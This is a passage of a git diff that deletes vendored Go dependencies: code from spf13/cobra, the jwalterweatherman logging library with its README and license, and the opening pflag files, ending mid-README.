(c *Command) Flag(name string) (flag *flag.Flag) { - flag = c.Flags().Lookup(name) - - if flag == nil { - flag = c.persistentFlag(name) - } - - return -} - -// Recursively find matching persistent flag. -func (c *Command) persistentFlag(name string) (flag *flag.Flag) { - if c.HasPersistentFlags() { - flag = c.PersistentFlags().Lookup(name) - } - - if flag == nil { - c.updateParentsPflags() - flag = c.parentsPflags.Lookup(name) - } - return -} - -// ParseFlags parses persistent flag tree and local flags. -func (c *Command) ParseFlags(args []string) error { - if c.DisableFlagParsing { - return nil - } - - beforeErrorBufLen := c.flagErrorBuf.Len() - c.mergePersistentFlags() - err := c.Flags().Parse(args) - // Print warnings if they occurred (e.g. deprecated flag messages). - if c.flagErrorBuf.Len()-beforeErrorBufLen > 0 && err == nil { - c.Print(c.flagErrorBuf.String()) - } - - return err -} - -// Parent returns a commands parent command. -func (c *Command) Parent() *Command { - return c.parent -} - -// mergePersistentFlags merges c.PersistentFlags() to c.Flags() -// and adds missing persistent flags of all parents. -func (c *Command) mergePersistentFlags() { - c.updateParentsPflags() - c.Flags().AddFlagSet(c.PersistentFlags()) - c.Flags().AddFlagSet(c.parentsPflags) -} - -// updateParentsPflags updates c.parentsPflags by adding -// new persistent flags of all parents. -// If c.parentsPflags == nil, it makes new. -func (c *Command) updateParentsPflags() { - if c.parentsPflags == nil { - c.parentsPflags = flag.NewFlagSet(c.Name(), flag.ContinueOnError) - c.parentsPflags.SetOutput(c.flagErrorBuf) - c.parentsPflags.SortFlags = false - } - - c.Root().PersistentFlags().AddFlagSet(flag.CommandLine) - - c.VisitParents(func(parent *Command) { - c.parentsPflags.AddFlagSet(parent.PersistentFlags()) - }) -} diff --git a/vendor/github.com/spf13/cobra/command_notwin.go b/vendor/github.com/spf13/cobra/command_notwin.go deleted file mode 100644 index 6159c1cc19..0000000000 --- a/vendor/github.com/spf13/cobra/command_notwin.go +++ /dev/null @@ -1,5 +0,0 @@ -// +build !windows - -package cobra - -var preExecHookFn func(*Command) diff --git a/vendor/github.com/spf13/cobra/command_win.go b/vendor/github.com/spf13/cobra/command_win.go deleted file mode 100644 index edec728e4f..0000000000 --- a/vendor/github.com/spf13/cobra/command_win.go +++ /dev/null @@ -1,20 +0,0 @@ -// +build windows - -package cobra - -import ( - "os" - "time" - - "github.com/inconshreveable/mousetrap" -) - -var preExecHookFn = preExecHook - -func preExecHook(c *Command) { - if MousetrapHelpText != "" && mousetrap.StartedByExplorer() { - c.Print(MousetrapHelpText) - time.Sleep(5 * time.Second) - os.Exit(1) - } -} diff --git a/vendor/github.com/spf13/cobra/zsh_completions.go b/vendor/github.com/spf13/cobra/zsh_completions.go deleted file mode 100644 index 889c22e273..0000000000 --- a/vendor/github.com/spf13/cobra/zsh_completions.go +++ /dev/null @@ -1,126 +0,0 @@ -package cobra - -import ( - "bytes" - "fmt" - "io" - "os" - "strings" -) - -// GenZshCompletionFile generates zsh completion file. -func (c *Command) GenZshCompletionFile(filename string) error { - outFile, err := os.Create(filename) - if err != nil { - return err - } - defer outFile.Close() - - return c.GenZshCompletion(outFile) -} - -// GenZshCompletion generates a zsh completion file and writes to the passed writer. -func (c *Command) GenZshCompletion(w io.Writer) error { - buf := new(bytes.Buffer) - - writeHeader(buf, c) - maxDepth := maxDepth(c) - writeLevelMapping(buf, maxDepth) - writeLevelCases(buf, maxDepth, c) - - _, err := buf.WriteTo(w) - return err -} - -func writeHeader(w io.Writer, cmd *Command) { - fmt.Fprintf(w, "#compdef %s\n\n", cmd.Name()) -} - -func maxDepth(c *Command) int { - if len(c.Commands()) == 0 { - return 0 - } - maxDepthSub := 0 - for _, s := range c.Commands() { - subDepth := maxDepth(s) - if subDepth > maxDepthSub { - maxDepthSub = subDepth - } - } - return 1 + maxDepthSub -} - -func writeLevelMapping(w io.Writer, numLevels int) { - fmt.Fprintln(w, `_arguments \`) - for i := 1; i <= numLevels; i++ { - fmt.Fprintf(w, ` '%d: :->level%d' \`, i, i) - fmt.Fprintln(w) - } - fmt.Fprintf(w, ` '%d: :%s'`, numLevels+1, "_files") - fmt.Fprintln(w) -} - -func writeLevelCases(w io.Writer, maxDepth int, root *Command) { - fmt.Fprintln(w, "case $state in") - defer fmt.Fprintln(w, "esac") - - for i := 1; i <= maxDepth; i++ { - fmt.Fprintf(w, " level%d)\n", i) - writeLevel(w, root, i) - fmt.Fprintln(w, " ;;") - } - fmt.Fprintln(w, " *)") - fmt.Fprintln(w, " _arguments '*: :_files'") - fmt.Fprintln(w, " ;;") -} - -func writeLevel(w io.Writer, root *Command, i int) { - fmt.Fprintf(w, " case $words[%d] in\n", i) - defer fmt.Fprintln(w, " esac") - - commands := filterByLevel(root, i) - byParent := groupByParent(commands) - - for p, c := range byParent { - names := names(c) - fmt.Fprintf(w, " %s)\n", p) - fmt.Fprintf(w, " _arguments '%d: :(%s)'\n", i, strings.Join(names, " ")) - fmt.Fprintln(w, " ;;") - } - fmt.Fprintln(w, " *)") - fmt.Fprintln(w, " _arguments '*: :_files'") - fmt.Fprintln(w, " ;;") - -} - -func filterByLevel(c *Command, l int) []*Command { - cs := make([]*Command, 0) - if l == 0 { - cs = append(cs, c) - return cs - } - for _, s := range c.Commands() { - cs = append(cs, filterByLevel(s, l-1)...) - } - return cs -} - -func groupByParent(commands []*Command) map[string][]*Command { - m := make(map[string][]*Command) - for _, c := range commands { - parent := c.Parent() - if parent == nil { - continue - } - m[parent.Name()] = append(m[parent.Name()], c) - } - return m -} - -func names(commands []*Command) []string { - ns := make([]string, len(commands)) - for i, c := range commands { - ns[i] = c.Name() - } - return ns -} diff --git a/vendor/github.com/spf13/jwalterweatherman/.gitignore b/vendor/github.com/spf13/jwalterweatherman/.gitignore deleted file mode 100644 index 00268614f0..0000000000 --- a/vendor/github.com/spf13/jwalterweatherman/.gitignore +++ /dev/null @@ -1,22 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe diff --git a/vendor/github.com/spf13/jwalterweatherman/LICENSE b/vendor/github.com/spf13/jwalterweatherman/LICENSE deleted file mode 100644 index 4527efb9c0..0000000000 --- a/vendor/github.com/spf13/jwalterweatherman/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Steve Francia - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/vendor/github.com/spf13/jwalterweatherman/README.md b/vendor/github.com/spf13/jwalterweatherman/README.md deleted file mode 100644 index 350a9683db..0000000000 --- a/vendor/github.com/spf13/jwalterweatherman/README.md +++ /dev/null @@ -1,148 +0,0 @@ -jWalterWeatherman -================= - -Seamless printing to the terminal (stdout) and logging to a io.Writer -(file) that’s as easy to use as fmt.Println. - -![and_that__s_why_you_always_leave_a_note_by_jonnyetc-d57q7um](https://cloud.githubusercontent.com/assets/173412/11002937/ccd01654-847d-11e5-828e-12ebaf582eaf.jpg) -Graphic by [JonnyEtc](http://jonnyetc.deviantart.com/art/And-That-s-Why-You-Always-Leave-a-Note-315311422) - -JWW is primarily a wrapper around the excellent standard log library. It -provides a few advantages over using the standard log library alone. - -1. Ready to go out of the box. -2. One library for both printing to the terminal and logging (to files). -3. Really easy to log to either a temp file or a file you specify. - - -I really wanted a very straightforward library that could seamlessly do -the following things. - -1. Replace all the println, printf, etc statements thought my code with - something more useful -2. Allow the user to easily control what levels are printed to stdout -3. Allow the user to easily control what levels are logged -4. Provide an easy mechanism (like fmt.Println) to print info to the user - which can be easily logged as well -5. Due to 2 & 3 provide easy verbose mode for output and logs -6. Not have any unnecessary initialization cruft. Just use it. - -# Usage - -## Step 1. Use it -Put calls throughout your source based on type of feedback. -No initialization or setup needs to happen. Just start calling things. - -Available Loggers are: - - * TRACE - * DEBUG - * INFO - * WARN - * ERROR - * CRITICAL - * FATAL - -These each are loggers based on the log standard library and follow the -standard usage. Eg. - -```go - import ( - jww "github.com/spf13/jwalterweatherman" - ) - - ... - - if err != nil { - - // This is a pretty serious error and the user should know about - // it. It will be printed to the terminal as well as logged under the - // default thresholds. - - jww.ERROR.Println(err) - } - - if err2 != nil { - // This error isn’t going to materially change the behavior of the - // application, but it’s something that may not be what the user - // expects. Under the default thresholds, Warn will be logged, but - // not printed to the terminal. - - jww.WARN.Println(err2) - } - - // Information that’s relevant to what’s happening, but not very - // important for the user. Under the default thresholds this will be - // discarded. - - jww.INFO.Printf("information %q", response) - -``` - -NOTE: You can also use the library in a non-global setting by creating an instance of a Notebook: - -```go -notepad = jww.NewNotepad(jww.LevelInfo, jww.LevelTrace, os.Stdout, ioutil.Discard, "", log.Ldate|log.Ltime) -notepad.WARN.Println("Some warning"") -``` - -_Why 7 levels?_ - -Maybe you think that 7 levels are too much for any application... and you -are probably correct. Just because there are seven levels doesn’t mean -that you should be using all 7 levels. Pick the right set for your needs. -Remember they only have to mean something to your project. - -## Step 2. Optionally configure JWW - -Under the default thresholds : - - * Debug, Trace & Info goto /dev/null - * Warn and above is logged (when a log file/io.Writer is provided) - * Error and above is printed to the terminal (stdout) - -### Changing the thresholds - -The threshold can be changed at any time, but will only affect calls that -execute after the change was made. - -This is very useful if your application has a verbose mode. Of course you -can decide what verbose means to you or even have multiple levels of -verbosity. - - -```go - import ( - jww "github.com/spf13/jwalterweatherman" - ) - - if Verbose { - jww.SetLogThreshold(jww.LevelTrace) - jww.SetStdoutThreshold(jww.LevelInfo) - } -``` - -Note that JWW's own internal output uses log levels as well, so set the log -level before making any other calls if you want to see what it's up to. - - -### Setting a log file - -JWW can log to any `io.Writer`: - - -```go - - jww.SetLogOutput(customWriter) - -``` - - -# More information - -This is an early release. I’ve been using it for a while and this is the -third interface I’ve tried. I like this one pretty well, but no guarantees -that it won’t change a bit. - -I wrote this for use in [hugo](http://hugo.spf13.com). If you are looking -for a static website engine that’s super fast please checkout Hugo. diff --git a/vendor/github.com/spf13/jwalterweatherman/default_notepad.go b/vendor/github.com/spf13/jwalterweatherman/default_notepad.go deleted file mode 100644 index bcb763403c..0000000000 --- a/vendor/github.com/spf13/jwalterweatherman/default_notepad.go +++ /dev/null @@ -1,113 +0,0 @@ -// Copyright Š 2016 Steve Francia . -// -// Use of this source code is governed by an MIT-style -// license that can be found in the LICENSE file. - -package jwalterweatherman - -import ( - "io" - "io/ioutil" - "log" - "os" -) - -var ( - TRACE *log.Logger - DEBUG *log.Logger - INFO *log.Logger - WARN *log.Logger - ERROR *log.Logger - CRITICAL *log.Logger - FATAL *log.Logger - - LOG *log.Logger - FEEDBACK *Feedback - - defaultNotepad *Notepad -) - -func reloadDefaultNotepad() { - TRACE = defaultNotepad.TRACE - DEBUG = defaultNotepad.DEBUG - INFO = defaultNotepad.INFO - WARN = defaultNotepad.WARN - ERROR = defaultNotepad.ERROR - CRITICAL = defaultNotepad.CRITICAL - FATAL = defaultNotepad.FATAL - - LOG = defaultNotepad.LOG - FEEDBACK = defaultNotepad.FEEDBACK -} - -func init() { - defaultNotepad = NewNotepad(LevelError, LevelWarn, os.Stdout, ioutil.Discard, "", log.Ldate|log.Ltime) - reloadDefaultNotepad() -} - -// SetLogThreshold set the log threshold for the default notepad. Trace by default. -func SetLogThreshold(threshold Threshold) { - defaultNotepad.SetLogThreshold(threshold) - reloadDefaultNotepad() -} - -// SetLogOutput set the log output for the default notepad. Discarded by default. -func SetLogOutput(handle io.Writer) { - defaultNotepad.SetLogOutput(handle) - reloadDefaultNotepad() -} - -// SetStdoutThreshold set the standard output threshold for the default notepad. -// Info by default. -func SetStdoutThreshold(threshold Threshold) { - defaultNotepad.SetStdoutThreshold(threshold) - reloadDefaultNotepad() -} - -// SetPrefix set the prefix for the default logger. Empty by default. -func SetPrefix(prefix string) { - defaultNotepad.SetPrefix(prefix) - reloadDefaultNotepad() -} - -// SetFlags set the flags for the default logger. "log.Ldate | log.Ltime" by default. -func SetFlags(flags int) { - defaultNotepad.SetFlags(flags) - reloadDefaultNotepad() -} - -// Level returns the current global log threshold. -func LogThreshold() Threshold { - return defaultNotepad.logThreshold -} - -// Level returns the current global output threshold. -func StdoutThreshold() Threshold { - return defaultNotepad.stdoutThreshold -} - -// GetStdoutThreshold returns the defined Treshold for the log logger. -func GetLogThreshold() Threshold { - return defaultNotepad.GetLogThreshold() -} - -// GetStdoutThreshold returns the Treshold for the stdout logger. -func GetStdoutThreshold() Threshold { - return defaultNotepad.GetStdoutThreshold() -} - -// LogCountForLevel returns the number of log invocations for a given threshold. -func LogCountForLevel(l Threshold) uint64 { - return defaultNotepad.LogCountForLevel(l) -} - -// LogCountForLevelsGreaterThanorEqualTo returns the number of log invocations -// greater than or equal to a given threshold. -func LogCountForLevelsGreaterThanorEqualTo(threshold Threshold) uint64 { - return defaultNotepad.LogCountForLevelsGreaterThanorEqualTo(threshold) -} - -// ResetLogCounters resets the invocation counters for all levels. -func ResetLogCounters() { - defaultNotepad.ResetLogCounters() -} diff --git a/vendor/github.com/spf13/jwalterweatherman/log_counter.go b/vendor/github.com/spf13/jwalterweatherman/log_counter.go deleted file mode 100644 index 11423ac41e..0000000000 --- a/vendor/github.com/spf13/jwalterweatherman/log_counter.go +++ /dev/null @@ -1,55 +0,0 @@ -// Copyright Š 2016 Steve Francia . -// -// Use of this source code is governed by an MIT-style -// license that can be found in the LICENSE file. - -package jwalterweatherman - -import ( - "sync/atomic" -) - -type logCounter struct { - counter uint64 -} - -func (c *logCounter) incr() { - atomic.AddUint64(&c.counter, 1) -} - -func (c *logCounter) resetCounter() { - atomic.StoreUint64(&c.counter, 0) -} - -func (c *logCounter) getCount() uint64 { - return atomic.LoadUint64(&c.counter) -} - -func (c *logCounter) Write(p []byte) (n int, err error) { - c.incr() - return len(p), nil -} - -// LogCountForLevel returns the number of log invocations for a given threshold. -func (n *Notepad) LogCountForLevel(l Threshold) uint64 { - return n.logCounters[l].getCount() -} - -// LogCountForLevelsGreaterThanorEqualTo returns the number of log invocations -// greater than or equal to a given threshold. -func (n *Notepad) LogCountForLevelsGreaterThanorEqualTo(threshold Threshold) uint64 { - var cnt uint64 - - for i := int(threshold); i < len(n.logCounters); i++ { - cnt += n.LogCountForLevel(Threshold(i)) - } - - return cnt -} - -// ResetLogCounters resets the invocation counters for all levels. -func (n *Notepad) ResetLogCounters() { - for _, np := range n.logCounters { - np.resetCounter() - } -} diff --git a/vendor/github.com/spf13/jwalterweatherman/notepad.go b/vendor/github.com/spf13/jwalterweatherman/notepad.go deleted file mode 100644 index ae5aaf7114..0000000000 --- a/vendor/github.com/spf13/jwalterweatherman/notepad.go +++ /dev/null @@ -1,194 +0,0 @@ -// Copyright Š 2016 Steve Francia . -// -// Use of this source code is governed by an MIT-style -// license that can be found in the LICENSE file. - -package jwalterweatherman - -import ( - "fmt" - "io" - "log" -) - -type Threshold int - -func (t Threshold) String() string { - return prefixes[t] -} - -const ( - LevelTrace Threshold = iota - LevelDebug - LevelInfo - LevelWarn - LevelError - LevelCritical - LevelFatal -) - -var prefixes map[Threshold]string = map[Threshold]string{ - LevelTrace: "TRACE", - LevelDebug: "DEBUG", - LevelInfo: "INFO", - LevelWarn: "WARN", - LevelError: "ERROR", - LevelCritical: "CRITICAL", - LevelFatal: "FATAL", -} - -// Notepad is where you leave a note! -type Notepad struct { - TRACE *log.Logger - DEBUG *log.Logger - INFO *log.Logger - WARN *log.Logger - ERROR *log.Logger - CRITICAL *log.Logger - FATAL *log.Logger - - LOG *log.Logger - FEEDBACK *Feedback - - loggers [7]**log.Logger - logHandle io.Writer - outHandle io.Writer - logThreshold Threshold - stdoutThreshold Threshold - prefix string - flags int - - // One per Threshold - logCounters [7]*logCounter -} - -// NewNotepad create a new notepad. -func NewNotepad(outThreshold Threshold, logThreshold Threshold, outHandle, logHandle io.Writer, prefix string, flags int) *Notepad { - n := &Notepad{} - - n.loggers = [7]**log.Logger{&n.TRACE, &n.DEBUG, &n.INFO, &n.WARN, &n.ERROR, &n.CRITICAL, &n.FATAL} - n.outHandle = outHandle - n.logHandle = logHandle - n.stdoutThreshold = outThreshold - n.logThreshold = logThreshold - - if len(prefix) != 0 { - n.prefix = "[" + prefix + "] " - } else { - n.prefix = "" - } - - n.flags = flags - - n.LOG = log.New(n.logHandle, - "LOG: ", - n.flags) - n.FEEDBACK = &Feedback{out: log.New(outHandle, "", 0), log: n.LOG} - - n.init() - return n -} - -// init creates the loggers for each level depending on the notepad thresholds. -func (n *Notepad) init() { - logAndOut := io.MultiWriter(n.outHandle, n.logHandle) - - for t, logger := range n.loggers { - threshold := Threshold(t) - counter := &logCounter{} - n.logCounters[t] = counter - prefix := n.prefix + threshold.String() + " " - - switch { - case threshold >= n.logThreshold && threshold >= n.stdoutThreshold: - *logger = log.New(io.MultiWriter(counter, logAndOut), prefix, n.flags) - - case threshold >= n.logThreshold: - *logger = log.New(io.MultiWriter(counter, n.logHandle), prefix, n.flags) - - case threshold >= n.stdoutThreshold: - *logger = log.New(io.MultiWriter(counter, n.outHandle), prefix, n.flags) - - default: - // counter doesn't care about prefix and flags, so don't use them - // for performance. - *logger = log.New(counter, "", 0) - } - } -} - -// SetLogThreshold changes the threshold above which messages are written to the -// log file. -func (n *Notepad) SetLogThreshold(threshold Threshold) { - n.logThreshold = threshold - n.init() -} - -// SetLogOutput changes the file where log messages are written. -func (n *Notepad) SetLogOutput(handle io.Writer) { - n.logHandle = handle - n.init() -} - -// GetStdoutThreshold returns the defined Treshold for the log logger. -func (n *Notepad) GetLogThreshold() Threshold { - return n.logThreshold -} - -// SetStdoutThreshold changes the threshold above which messages are written to the -// standard output. -func (n *Notepad) SetStdoutThreshold(threshold Threshold) { - n.stdoutThreshold = threshold - n.init() -} - -// GetStdoutThreshold returns the Treshold for the stdout logger. -func (n *Notepad) GetStdoutThreshold() Threshold { - return n.stdoutThreshold -} - -// SetPrefix changes the prefix used by the notepad. Prefixes are displayed between -// brackets at the beginning of the line. An empty prefix won't be displayed at all. -func (n *Notepad) SetPrefix(prefix string) { - if len(prefix) != 0 { - n.prefix = "[" + prefix + "] " - } else { - n.prefix = "" - } - n.init() -} - -// SetFlags choose which flags the logger will display (after prefix and message -// level). See the package log for more informations on this. -func (n *Notepad) SetFlags(flags int) { - n.flags = flags - n.init() -} - -// Feedback writes plainly to the outHandle while -// logging with the standard extra information (date, file, etc). -type Feedback struct { - out *log.Logger - log *log.Logger -} - -func (fb *Feedback) Println(v ...interface{}) { - fb.output(fmt.Sprintln(v...)) -} - -func (fb *Feedback) Printf(format string, v ...interface{}) { - fb.output(fmt.Sprintf(format, v...)) -} - -func (fb *Feedback) Print(v ...interface{}) { - fb.output(fmt.Sprint(v...)) -} - -func (fb *Feedback) output(s string) { - if fb.out != nil { - fb.out.Output(2, s) - } - if fb.log != nil { - fb.log.Output(2, s) - } -} diff --git a/vendor/github.com/spf13/pflag/.gitignore b/vendor/github.com/spf13/pflag/.gitignore deleted file mode 100644 index c3da290134..0000000000 --- a/vendor/github.com/spf13/pflag/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -.idea/* - diff --git a/vendor/github.com/spf13/pflag/.travis.yml b/vendor/github.com/spf13/pflag/.travis.yml deleted file mode 100644 index 00d04cb9b0..0000000000 --- a/vendor/github.com/spf13/pflag/.travis.yml +++ /dev/null @@ -1,22 +0,0 @@ -sudo: false - -language: go - -go: - - 1.9.x - - 1.10.x - - 1.11.x - - tip - -matrix: - allow_failures: - - go: tip - -install: - - go get golang.org/x/lint/golint - - export PATH=$GOPATH/bin:$PATH - - go install ./... - -script: - - verify/all.sh -v - - go test ./... diff --git a/vendor/github.com/spf13/pflag/LICENSE b/vendor/github.com/spf13/pflag/LICENSE deleted file mode 100644 index 63ed1cfea1..0000000000 --- a/vendor/github.com/spf13/pflag/LICENSE +++ /dev/null @@ -1,28 +0,0 @@ -Copyright (c) 2012 Alex Ogier. All rights reserved. -Copyright (c) 2012 The Go Authors. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/spf13/pflag/README.md b/vendor/github.com/spf13/pflag/README.md deleted file mode 100644 index 7eacc5bdbe..0000000000 --- a/vendor/github.com/spf13/pflag/README.md +++ /dev/null @@ -1,296 +0,0 @@ -[![Build Status](https://travis-ci.org/spf13/pflag.svg?branch=master)](https://travis-ci.org/spf13/pflag) -[![Go Report Card](https://goreportcard.com/badge/github.com/spf13/pflag)](https://goreportcard.com/report/github.com/spf13/pflag) -[![GoDoc](https://godoc.org/github.com/spf13/pflag?status.svg)](https://godoc.org/github.com/spf13/pflag) - -## Description - -pflag is a drop-in replacement for Go's flag package, implementing -POSIX/GNU-style --flags. - -pflag is compatible with the [GNU extensions to the POSIX recommendations -for command-line options][1]. For a more precise description, see the -"Command-line flag syntax" section below. - -[1]: http://www.gnu.org/software/libc/manual/html_node/Argument-Syntax.html - -pflag is available under the same style of BSD license as the Go language, -which can be found in the LICENSE file. - -## Installation - -pflag is available using the standard `go get` command. - -Install by running: - - go get github.com/spf13/pflag - -Run tests by running: - - go test github.com/spf13/pflag - -## Usage - -pflag is a drop-in replacement of Go's native flag package. If you import -pflag under the name "flag" then all code should continue to function -with no changes. - -``` go -import flag "github.com/spf13/pflag" -``` - -There is one exception to this: if you directly instantiate the Flag struct -there is one more field "Shorthand" that you will need to set. -Most code never instantiates this struct directly, and instead uses -functions such as String(), BoolVar(), and Var(), and is therefore -unaffected. - -Define flags using flag.String(), Bool(), Int(), etc. - -This declares an integer flag, -flagname, stored in the pointer ip, with type *int. - -``` go -var ip *int = flag.Int("flagname", 1234, "help message for flagname") -``` - -If you like, you can bind the flag to a variable using the Var() functions. - -``` go -var flagvar int -func init() { - flag.IntVar(&flagvar, "flagname", 1234, "help message for flagname") -} -``` - -Or you can create custom flags that satisfy the Value interface (with -pointer receivers) and couple them to flag parsing by - -``` go -flag.Var(&flagVal, "name", "help message for flagname") -``` - -For such flags, the default value is just the initial value of the variable. - -After all flags are defined, call - -``` go -flag.Parse() -``` - -to parse the command line into the defined flags. - -Flags may then be used directly. If you're using the flags themselves, -they are all pointers; if you bind to variables, they're values. - -``` go -fmt.Println("ip has value ", *ip) -fmt.Println("flagvar has value ", flagvar) -``` - -There are helper functions available to get the value stored in a Flag if you have a FlagSet but find -it difficult to keep up with all of the pointers in your code. -If you have a pflag.FlagSet with a flag called 'flagname' of type int you -can use GetInt() to get the int value. But notice that 'flagname' must exist -and it must be an int. GetString("flagname") will fail. - -``` go -i, err := flagset.GetInt("flagname") -``` - -After parsing, the arguments after the flag are available as the -slice flag.Args() or individually as flag.Arg(i). -The arguments are indexed from 0 through flag.NArg()-1. - -The pflag package also defines some new functions that are not in flag, -that give one-letter shorthands for flags. You can use these by appending -'P' to the name of any function that defines a flag. - -``` go -var ip = flag.IntP("flagname", "f", 1234, "help message") -var flagvar bool -func init() { - flag.BoolVarP(&flagvar, "boolname", "b", true, "help message") -} -flag.VarP(&flagVal, "varname", "v", "help message") -``` - -Shorthand letters can be used with single dashes on the command line. -Boolean shorthand flags can be combined with other shorthand flags. - -The default set of command-line flags is controlled by -top-level functions. The FlagSet type allows one to define -independent sets of flags, such as to implement subcommands -in a command-line interface. The methods of FlagSet are -analogous to the top-level functions for the command-line -flag set. - -## Setting no option default values for flags - -After you create a flag it is possible to set the pflag.NoOptDefVal for -the given flag. Doing this changes the meaning of the flag slightly. If -a flag has a NoOptDefVal and the flag is set on the command line without -an option the flag will be set to the NoOptDefVal. For example given: - -``` go -var ip = flag.IntP("flagname", "f", 1234, "help message") -flag.Lookup("flagname").NoOptDefVal = "4321" -``` - -Would result in something like - -| Parsed Arguments | Resulting Value | -| ------------- | ------------- | -| --flagname=1357 | ip=1357 | -| --flagname | ip=4321 | -| [nothing] | ip=1234 | - -## Command line flag syntax - -``` ---flag // boolean flags, or flags with no option default values ---flag x // only on flags without a default value ---flag=x -``` - -Unlike the flag package, a single dash before an option means something -different than a double dash. Single dashes signify a series of shorthand -letters for flags. All but the last shorthand letter must be boolean flags -or a flag with a default value - -``` -// boolean or flags where the 'no option default value' is set --f --f=true --abc -but --b true is INVALID - -// non-boolean and flags without a 'no option default value' --n 1234 --n=1234 --n1234 - -// mixed --abcs "hello" --absd="hello" --abcs1234 -``` - -Flag parsing stops after the terminator "--". Unlike the flag package, -flags can be interspersed with arguments anywhere on the command line -before this terminator. - -Integer flags accept 1234, 0664, 0x1234 and may be negative. -Boolean flags (in their long form) accept 1, 0, t, f, true, false, -TRUE, FALSE, True, False. -Duration flags accept any input valid for time.ParseDuration. - -## Mutating or "Normalizing" Flag names - -It is possible to set a custom flag name 'normalization function.' It allows flag names to be mutated both when created in the code and when used on the command line to some 'normalized' form. The 'normalized' form is used for comparison. Two examples of using the custom normalization func follow. - -**Example #1**: You want -, _, and . in flags to compare the same. aka --my-flag == --my_flag == --my.flag - -``` go -func wordSepNormalizeFunc(f *pflag.FlagSet, name string) pflag.NormalizedName { - from := []string{"-", "_"} - to := "." - for _, sep := range from { - name = strings.Replace(name, sep, to, -1) - } - return pflag.NormalizedName(name) -} - -myFlagSet.SetNormalizeFunc(wordSepNormalizeFunc) -``` - -**Example #2**: You want to alias two flags. aka --old-flag-name == --new-flag-name - -``` go -func aliasNormalizeFunc(f *pflag.FlagSet, name string) pflag.NormalizedName { - switch name { - case "old-flag-name": - name = "new-flag-name" - break - } - return pflag.NormalizedName(name) -} - -myFlagSet.SetNormalizeFunc(aliasNormalizeFunc) -``` - -## Deprecating a flag or its shorthand -It is possible to deprecate a flag, or just its shorthand. Deprecating a flag/shorthand hides it from help text and prints a usage message when the deprecated flag/shorthand is used. - -**Example #1**: You want to deprecate a flag named "badflag" as well as inform the users what flag they should use instead. -```go -// deprecate a flag by specifying its name and a usage message -flags.MarkDeprecated("badflag", "please use --good-flag instead") -``` -This hides "badflag" from help text, and prints `Flag --badflag has been deprecated, please use --good-flag instead` when "badflag" is used. - -**Example #2**: You want to keep a flag name "noshorthandflag" but deprecate its shortname "n". -```go -// deprecate a flag shorthand by specifying its flag name and a usage message -flags.MarkShorthandDeprecated("noshorthandflag", "please use --noshorthandflag only") -``` -This hides the shortname "n" from help text, and prints `Flag shorthand -n has been deprecated, please use --noshorthandflag only` when the shorthand "n" is used. - -Note that usage message is essential here, and it should not be empty. - -## Hidden flags -It is possible to mark a flag as hidden, meaning it will still function as normal, however will not show up in usage/help text. - -**Example**: You have a flag named "secretFlag" that you need for internal use only and don't want it showing up in help text, or for its usage text to be available. -```go -// hide a flag by specifying its name -flags.MarkHidden("secretFlag") -``` - -## Disable sorting of flags -`pflag` allows you to disable sorting of flags for help and usage message. - -**Example**: -```go -flags.BoolP("verbose", "v", false, "verbose output") -flags.String("coolflag", "yeaah", "it's really cool flag") -flags.Int("usefulflag", 777, "sometimes it's very useful") -flags.SortFlags = false -flags.PrintDefaults() -``` -**Output**: -``` - -v, --verbose verbose output - --coolflag string it's really cool flag (default "yeaah") - --usefulflag int sometimes it's very useful (default 777) -``` - - -## Supporting Go flags when using pflag -In order to support flags defined using Go's `flag` package, they must be added to the `pflag` flagset. This is usually necessary -to support flags defined by third-party dependencies (e.g. `golang/glog`). - -**Example**: You want to add the Go flags to the `CommandLine` flagset -```go -import ( - goflag "flag" - flag "github.com/spf13/pflag" -) - -var ip *int = flag.Int("flagname", 1234, "help message for flagname") - -func main() { - 